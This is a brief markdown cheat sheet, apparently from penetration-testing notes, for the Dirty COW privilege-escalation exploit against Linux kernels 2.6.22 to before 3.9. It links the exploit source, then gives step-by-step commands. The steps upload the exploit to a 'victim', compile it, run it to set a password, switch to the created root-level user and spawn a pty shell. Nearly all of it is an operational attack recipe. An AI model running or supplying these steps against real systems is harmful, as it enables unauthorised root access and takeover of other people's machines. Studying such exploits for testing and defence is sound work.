DirtyCow.md

Information

Exploit: Linux Kernel 2.6.22 < 3.9

• https://dirtycow.ninja/
• https://github.com/FireFart/dirtycow/blob/master/dirty.c

Example of attack steps

➤ 1. Upload the exploit on the victim

➤ 2. Compile the exploit
gcc -pthread dirty.c -O dirty -lcrypt
chmod +x dirty

➤ 3. exploit it
./dirty
Please enter the new password: lexiswashere

➤ 4. Privesc
su firefart
Password: lexiswashere

Note: if the 'su : must be run from a terminal' error appear, upgrade tty 
python -c 'import pty; pty.spawn("/bin/sh")'